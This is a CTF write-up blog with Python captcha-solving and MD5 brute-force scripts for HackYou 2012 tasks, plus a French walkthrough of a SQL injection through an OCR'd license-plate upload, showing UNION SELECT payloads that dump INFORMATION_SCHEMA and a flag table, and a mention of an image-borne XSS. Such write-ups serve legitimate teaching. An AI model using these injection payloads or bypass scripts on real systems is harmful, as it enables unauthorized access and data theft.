To search

w3pwnz

w3pwnz, therefore we are

Thursday, October 18 2012 16:05

HackYou CTF - PPC100, PPC200, PPC300 Writeups

PPC100 - Antihuman Captcha



To solve this task we have to submit the sum of two huge numbers, fast enough to be considered as a robot.
Python can handle these natively, so it's straight-forward.

hugecaptcha

#!/usr/bin/env python2
 
import urllib
import re
 
URL = "http://misteryou.ru/ppc100/"
 
page = urllib.urlopen(URL).read()
 
regex = "HugeCaptcha</h2>(?:\s+)(\d+)(?:\s+)\+(?:\s+)(\d+)<br>(?:.*)name='trueanswer' value='([^']+)' />"
m = re.search(regex, page, re.S)
 
int_1, int_2, trueanswer = m.groups()
answer = int(int_1) + int(int_2)
 
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'hugecaptcha',
    'trueanswer': trueanswer
})
 
page = urllib.urlopen(URL, params).read()
 
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
 
regex = "Secret is:<br> ([^\n]+)"
m = re.search(regex, page)
 
passwd = m.group(1).split("<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)


Flag: killallhumans

PPC200 - Oscaderp Forensic



Download the archive PPC200.

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
* The password that's being used is 1,048,576 characters long.
* According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
* Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
* We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.


Not much of a choice, we must bruteforce remaining characters.
A dumb basic bruteforce will be quite long because of the password's length. Hence I hash the provided part first (1,048,568 bytes), store it in a "ref" variable, and then bruteforce the 8 remaining bytes, using a copy of the ref md5 object to keep it intact.
Python is usually not a good choice for bruteforce, but i was lazy and it's only a 8 digits bruteforce, which takes less than 3 minutes with code below.

#!/usr/bin/env python2
 
import itertools
import hashlib
import string
import re
 
ref = hashlib.md5()
 
lines = open("keylogger_report_08_10_2012.txt", "r").readlines()
out = open("password", "w")
 
regex = re.compile("^Keys: (\d+)")
 
for line in lines:
    m = regex.match(line)
 
    if m:
        ref.update(m.group(1))
        out.write(m.group(1))
 
out.close()
 
charset = string.digits
 
for password in itertools.product(charset, repeat=8):
    passwd = ''.join(password)
    h = ref.copy()
    h.update(passwd)
 
    if h.hexdigest() == "287d3298b652c159e654b61121a858e0":
        print "password is", passwd
        print "solve with", hashlib.sha1(open('password', 'r').read() + passwd).hexdigest()
 
print '[DONE]'


Flag: 947c83329e6cf2d9b747af59edf7974752afd741

PPC300 - Quantum Computing Captcha



Same concept than PPC100, but here we have to submit a prime number factor of a huge number.

refactor

I used the awesome pari-python module to extract the divisors, and gocr (I often have bad results with that one, but it did the job here...).

#!/usr/bin/env python
 
import urllib
import re
import subprocess
import pari
 
URL = "http://misteryou.ru/ppc300/"
 
page = urllib.urlopen(URL).read()
 
regex = "<img src='/ppc300/([^']+)'><br>(?:.*)name='trueanswer' value='([^']+)' />"
m = re.search(regex, page, re.S)
img_name, trueanswer = m.groups()
 
img = urllib.urlopen(URL + m.group(1)).read()
 
open("captcha.png", "w").write(img)
 
captcha = subprocess.Popen(['gocr -i captcha.png'], shell=True, stdout=subprocess.PIPE).communicate()[0]
captcha = captcha.split("\n")[0]
captcha = int(captcha[captcha.find('_e') + 2:].replace(" ", ""))
 
divisors = pari.divisors(captcha)
 
answer = divisors[1]
 
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'refactor',
    'trueanswer': trueanswer
})
 
page = urllib.urlopen(URL, params).read()
 
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
 
regex = "Secret is:<br> ([^\n]+)"
m = re.search(regex, page)
 
passwd = m.group(1).split("<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)


Flag: kill_1_human

Monday, April 4 2011 23:07

NDH2k11 Prequals - Web200

Une des épreuves les plus fun de la NDH selon moi était la Web200.

Résumée en une image ça donne ça :)

injection-sql-radars.png

On disposait d'un site qui permettait d’uploader une image JPG de plaque d’immatriculation, puis retrouve les infractions associées à cette plaque. Par exemple le site nous donnait une plaque valide “AB-344-CA”, associée à quelques infractions.

web200.png

On devine donc qu'il y a un OCR qui reconnait la plaque, puis la chaine reconnue est surement utilisée dans une requête SQL, on tente une injection : trigger.png Suite à quoi on obtient plus d’infraction que pour la seule plaque “AB-344-CA”. Donc on a bien trigger la vuln, on va exploiter :

On tente de récupérer les tables : tables.jpg On obtient :

<tr><th class="zero">List of infractions found for: AB-344-CA' UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES #</th></tr>
<tr><td class="one">* Racing on the motorway is forbidden !</td></tr>
<tr><td class="two">* insane driving !! WTF ??!!</td></tr>
<tr><td class="one">* Thinks he's in Need for speed</td></tr>
<tr><td class="two">* Laughing at policemen!!!</td></tr>
<tr><td class="one">* CHARACTER_SETS</td></tr>
<tr><td class="two">* COLLATIONS</td></tr>
[...]
<tr><td class="one">* POWN3D</td></tr>
<tr><td class="two">* delit</td></tr>

La table “POWN3D” semble intéréssante. On récupère ses colonnes : columns.jpg On obtient :

<tr><th class="zero">List of infractions found for: AB-344-CA' UNION SELECT CONCAT(TABLE_NAME, ':', COLUMN_NAME) FROM iNFORMATION_SCHEMA. COLUMNS #</th></tr>
<tr><td class="one">* Racing on the motorway is forbidden !</td></tr>
<tr><td class="two">* insane driving !! WTF ??!!</td></tr>
<tr><td class="one">* Thinks he's in Need for speed</td></tr>
<tr><td class="two">* Laughing at policemen!!!</td></tr>
<tr><td class="one">* CHARACTER_SETS:CHARACTER_SET_NAME</td></tr>
<tr><td class="two">* CHARACTER_SETS:DEFAULT_COLLATE_NAME</td></tr>
[...]
<tr><td class="two">* VIEWS:CHARACTER_SET_CLIENT</td></tr>
<tr><td class="one">* VIEWS:COLLATION_CONNECTION</td></tr>
<tr><td class="two">* POWN3D:comment</td></tr>
<tr><td class="one">* delit:id</td></tr>
<tr><td class="two">* delit:regno</td></tr>
<tr><td class="one">* delit:comment</td></tr>

On sait maintenant qu’on doit récupérer le contenu du champ “comment” de la table “POWN3D”, on valide en envoyant l’image : flag.jpg Ce qui donnera au final :

<tr><th class="zero">List of infractions found for: AB-344-CA' UNION SELECT COMMENT FROM POWN3D #</th></tr>
<tr><td class="one">* Racing on the motorway is forbidden !</td></tr>
<tr><td class="two">* insane driving !! WTF ??!!</td></tr>
<tr><td class="one">* Thinks he's in Need for speed</td></tr>
<tr><td class="two">* Laughing at policemen!!!</td></tr>
<tr><td class="one">* flag: php/mysql=>el33T</td></tr>

Le flag est donc “php/mysql => el33T”

Et en bonus, on a meme le droit à une petite XSS avec une image avec du JS: xss.jpg Simple, mais fun \o/